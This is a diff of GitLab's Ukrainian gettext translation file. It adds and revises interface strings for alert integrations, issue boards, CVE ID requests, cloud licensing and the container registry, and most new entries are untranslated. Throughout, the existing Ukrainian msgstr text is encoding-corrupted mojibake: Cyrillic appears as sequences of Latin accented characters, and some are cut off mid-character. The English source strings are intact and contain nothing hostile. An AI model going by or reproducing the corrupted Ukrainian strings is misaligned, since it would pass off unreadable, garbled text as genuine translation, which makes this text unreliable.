msgstr "Додати кнопку Ð´Ð»Ñ Grafana в Ñекції моніторингу на бічній панелі адмініÑÑ‚Ñ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð´Ð»Ñ Ð´Ð¾Ñтупу до різноманітної ÑтатиÑтики Ñтану та продуктивноÑÑ‚Ñ– GitLab."
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "Додати ненумерований ÑпиÑок"
@@ -2048,6 +2111,9 @@ msgstr "Додати коментар"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2075,9 +2141,6 @@ msgstr "Додати заголовок і футер в електронні л
msgid "Add image comment"
msgstr "Додати коментар до зображеннÑ"
-msgid "Add issues"
-msgstr "Додати задачі"
-
msgid "Add italic text"
msgstr "Додати курÑивний текÑÑ‚"
@@ -2105,6 +2168,9 @@ msgstr "Додати або віднÑти витрачений чаÑ"
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Додати реакцію"
@@ -2123,6 +2189,9 @@ msgstr "Додати ÑиÑтемний хук"
msgid "Add to Slack"
msgstr "Додати в Slack"
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr "Додати до епіку"
@@ -2216,6 +2285,9 @@ msgstr "Додаткові хвилини"
msgid "Additional text"
msgstr "Додатковий текÑÑ‚"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "Додає"
@@ -2243,6 +2315,9 @@ msgstr ""
msgid "Admin Area"
msgstr "ОблаÑÑ‚ÑŒ адмініÑтратора"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr "Примітка ÐдмініÑтратора"
@@ -2384,9 +2459,6 @@ msgstr "Зараз ви зупинете вÑÑ– завданнÑ. Це обірÐ
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Помилка при завантаженні ÑтатиÑтики. Будь лаÑка, Ñпробуйте знову"
-msgid "AdminNote|Note"
-msgstr "Примітка"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "Ви збираєтеÑÑ Ð¾Ñтаточно видалити проєкт %{projectName}, його репозиторій та вÑÑ– пов'Ñзані реÑурÑи, включаючи задачі, запити на злиттÑ, тощо. ПіÑÐ»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ñ‚Ð° натиÑÐ½ÐµÐ½Ð½Ñ Ð½Ð° кнопку %{strong_start}Видалити проєкт%{strong_end}, його неможливо буде відновити."
@@ -2822,6 +2894,12 @@ msgstr "ÐдмініÑтруваннÑ"
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2871,6 +2949,9 @@ msgstr[1] "ПопередженнÑ"
msgstr[2] "Попереджень"
msgstr[3] "Попереджень"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3033,6 +3114,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3048,13 +3135,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3063,25 +3153,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3096,24 +3189,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3123,6 +3228,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3132,9 +3240,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3171,7 +3276,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3261,9 +3369,6 @@ msgstr "Дозволити влаÑникам груп керувати нала
msgid "Allow only the selected protocols to be used for Git access."
msgstr "Дозволити викориÑÑ‚Ð°Ð½Ð½Ñ Ñ‚Ñ–Ð»ÑŒÐºÐ¸ вибраних протоколів Ð´Ð»Ñ Ð´Ð¾Ñтупу до Git."
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr "Дозволити влаÑникам керувати захиÑтом гілок за замовчуваннÑм Ð´Ð»Ñ ÐºÐ¾Ð¶Ð½Ð¾Ñ— групи"
@@ -3327,6 +3432,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "Ð’ÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÐµÐ½Ð¸Ñ… доменів Ð°Ð´Ñ€ÐµÑ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾Ñ— пошти допуÑкаєтьÑÑ Ð»Ð¸ÑˆÐµ Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿ найвищого рівнÑ"
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3354,6 +3462,9 @@ msgstr "Також відомий Ñк «Емітент» або «ІдентиÑ
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "Також називаєтьÑÑ \"URL-адреÑа Ñлужби перевірÑючої Ñторони\" або \"URL-адреÑа відповіді\""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3411,6 +3522,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "ТрапилаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr "Помилка при додаванні чернетки до обговореннÑ."
@@ -3534,6 +3648,9 @@ msgstr "Помилка при отриманні коментарів в очіÐ
msgid "An error occurred while fetching projects autocomplete."
msgstr "Помилка при отриманні Ð°Ð²Ñ‚Ð¾Ð´Ð¾Ð¿Ð¾Ð²Ð½ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñ–Ð²."
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "Виникла помилка під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð´Ð°Ð½Ð¸Ñ… Ð´Ð»Ñ Ð±Ñ–Ñ‡Ð½Ð¾Ñ— панелі"
@@ -3546,9 +3663,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Помилка при отриманні ÑпиÑків дошки. Будь лаÑка, Ñпробуйте знову."
-msgid "An error occurred while fetching the builds."
-msgstr "Помилка при отриманні збірок."
-
msgid "An error occurred while fetching the job log."
msgstr "Помилка при отриманні логів завданнÑ."
@@ -3639,7 +3753,7 @@ msgstr "Помилка при завантаженні файлу."
msgid "An error occurred while loading the file. Please try again later."
msgstr "Помилка при завантаженні файлу. Будь лаÑка, Ñпробуйте ще раз пізніше."
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3777,9 +3891,6 @@ msgstr ""
msgid "An issue already exists"
msgstr "Ð¦Ñ Ð·Ð°Ð´Ð°Ñ‡Ð° вже Ñ–Ñнує"
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr "Задача може опиÑувати помилку, бути нагадуваннÑм або опиÑом нової функціональноÑÑ‚Ñ– Ð´Ð»Ñ Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð² проєкті. Крім того задачі можна шукати та фільтрувати."
-
msgid "An issue title is required"
msgstr ""
@@ -3981,6 +4092,9 @@ msgstr "Правила затвердженнÑ"
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] "%d учаÑник"
@@ -4012,6 +4126,9 @@ msgstr[1] "Потрібно %{count} Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ñ–Ð´ %{membersCo
msgstr[2] "Потрібно %{count} затверджень від %{membersCount}"
msgstr[3] "Потрібно %{count} затверджень від %{membersCount}"
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4021,6 +4138,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr "Затверджуючі оÑоби"
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr "Ім'Ñ"
@@ -4030,9 +4150,6 @@ msgstr "Ð†Ð¼â€™Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°"
msgid "ApprovalRule|Target branch"
msgstr "Цільова гілка"
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr "наприклад QA, безпека і т. д."
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4172,6 +4289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "Ви впевнені, що бажаєте втратити незбережені зміни?"
@@ -4232,6 +4355,12 @@ msgstr "Ви впевнені що хочете зупинити це Ñеред
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "Ви впевнені, що хочете розблокувати %{path_lock_path}?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "Ви дійÑно бажаєте ÑкаÑувати підпиÑку на %{type}: %{link_to_noteable_text}?"
@@ -4274,14 +4403,14 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} відправив код в гілку %{branch} проєкту %{project_name} (%{commit_url}):"
-msgid "AsanaService|Asana - Teamwork without email"
-msgstr "Asana — командна робота без електронної пошти"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "Розділений комами ÑпиÑок гілок, Ñкі будуть автоматично перевірÑтиÑÑ. Залиште порожнім, щоб включити уÑÑ– гілки."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
+msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
-msgstr "ОÑобиÑтий токен доÑтупу кориÑтувача. КориÑтувач повинен мати доÑтуп до завданнÑ, уÑÑ– коментарі будуть відноÑитиÑÑ Ð´Ð¾ нього."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
+msgstr ""
msgid "Ascending"
msgstr "За зроÑтаннÑм"
@@ -4711,6 +4840,9 @@ msgstr "Ðватар буде видалено. Ви впевнені?"
msgid "Average per day: %{average}"
msgstr "Ð’ Ñередньому за день: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr "Ðазад до Ñторінки %{number}"
@@ -4813,6 +4945,9 @@ msgstr "КориÑтувач із доÑтупом до API, Ñкщо можли
msgid "BambooService|Atlassian Bamboo CI"
msgstr "Atlassian Bamboo CI"
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr "Ключ плану збірки Bamboo, наприклад KEY"
@@ -4831,6 +4966,9 @@ msgstr "Будьте обережні. Зміна проÑтору імен пр
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr "Будьте обережні. ÐŸÐµÑ€ÐµÐ¹Ð¼ÐµÐ½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–ÑŽ проєкту може мати небажані побічні ефекти."
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "Почати із виділеного коміту"
@@ -4855,8 +4993,8 @@ msgstr "Білінг"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
-msgstr "@%{user_name} наразі ви викориÑтовуєте план %{plan_name}."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
+msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4991,6 +5129,9 @@ msgstr[3] ""
msgid "Blocked issue"
msgstr "Заблокована задача"
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5021,6 +5162,13 @@ msgstr "Дошки"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5030,9 +5178,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5051,6 +5196,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5060,6 +5208,13 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5072,6 +5227,15 @@ msgstr "Редагувати дошку"
msgid "Boards|Expand"
msgstr "Розгорнути"
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr "ПереглÑнути облаÑÑ‚ÑŒ видимоÑÑ‚Ñ–"
@@ -5102,6 +5266,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5408,15 +5575,6 @@ msgstr "від"
msgid "CHANGELOG"
msgstr "СпиÑок змін (CHANGELOG)"
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr "Ðналітика CI / CD"
-
-msgid "CI / CD Settings"
-msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ CI/CD"
-
msgid "CI Lint"
msgstr "Перевірка CI конфігурації"
@@ -5435,6 +5593,12 @@ msgstr "CI буде працювати з викориÑтаннÑм облікÐ
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ CI/CD"
@@ -5526,6 +5690,27 @@ msgstr "CONTRIBUTING"
msgid "CPU"
msgstr "ЦП"
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL зворотнього виклику"
@@ -5622,6 +5807,9 @@ msgstr "СкаÑувати, зберегти проєкт"
msgid "Canceled deployment to"
msgstr "СкаÑовано Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð½Ð°"
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr "СкаÑÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð½ÑŒÐ¾Ð³Ð¾ переглÑду"
@@ -5742,6 +5930,9 @@ msgstr "Змінити шаблон"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "Змініть це значеннÑ, щоб вплинути на чаÑтоту Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ñ–Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñу GitLab."
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "Змінити заголовок"
@@ -5769,6 +5960,9 @@ msgstr "Вибрати (cherry-pick)"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Ðнулювати коміт"
@@ -5778,12 +5972,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "Це Ñтворить новий коміт, щоб анулювати Ñ–Ñнуючі зміни."
@@ -6426,6 +6626,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr "Закрити %{tabname}"
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "Закрити епік"
@@ -6459,6 +6662,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "Закриває %{quick_action_target}."
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr "КлаÑтер"
@@ -6492,9 +6737,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6513,12 +6755,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr "Ім'Ñ"
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7068,6 +7319,9 @@ msgstr "ВпевнітьÑÑ, що ваш обліковий Ð·Ð°Ð¿Ð¸Ñ %{link_t
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7777,6 +8031,9 @@ msgstr "Коміт…"
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr "Ðазва компанії"
@@ -7840,6 +8097,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8125,6 +8385,9 @@ msgstr "Ð¡ÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ¹Ð½ÐµÑ€Ð°"
msgid "Container does not exist"
msgstr "Контейнер не Ñ–Ñнує"
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr "Образи в реєÑтрі контейнерів"
@@ -8157,9 +8420,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr "%{imageName} тегів"
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8244,6 +8504,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr "Помилка Ð·â€™Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Docker"
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8262,6 +8525,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8329,6 +8595,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8551,6 +8820,9 @@ msgstr "Скопіювати"
msgid "Copy %{http_label} clone URL"
msgstr "Скопіювати URL Ð´Ð»Ñ ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· %{http_label}"
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr "Скопіювати URL Ð´Ð»Ñ ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‡ÐµÑ€ÐµÐ· %{protocol}"
@@ -8596,9 +8868,6 @@ msgstr "Скопіювати команди"
msgid "Copy commit SHA"
msgstr "Скопіювати SHA коміту"
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr "Копіювати Ñередовище"
@@ -8656,9 +8925,18 @@ msgstr "Копіювати значеннÑ"
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr "Ðе вдалоÑÑ Ð´Ð¾Ð´Ð°Ñ‚Ð¸ адмініÑтраторів Ñк учаÑників"
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8713,12 +8991,21 @@ msgstr "Ðе вдалоÑÑ Ð·Ð½Ð°Ð¹Ñ‚Ð¸ дизайн."
msgid "Could not find iteration"
msgstr "Ðе вдалоÑÑ Ð·Ð½Ð°Ð¹Ñ‚Ð¸ ітерацію"
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ тригер."
@@ -8752,6 +9039,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr "Ðе вдалоÑÑ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶Ð¸Ñ‚Ð¸ ваші дизайни, оÑкільки один або кілька файлів, що завантажуютьÑÑ, не підтримуютьÑÑ."
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr "Країна"
@@ -8761,19 +9051,15 @@ msgstr "ПокриттÑ"
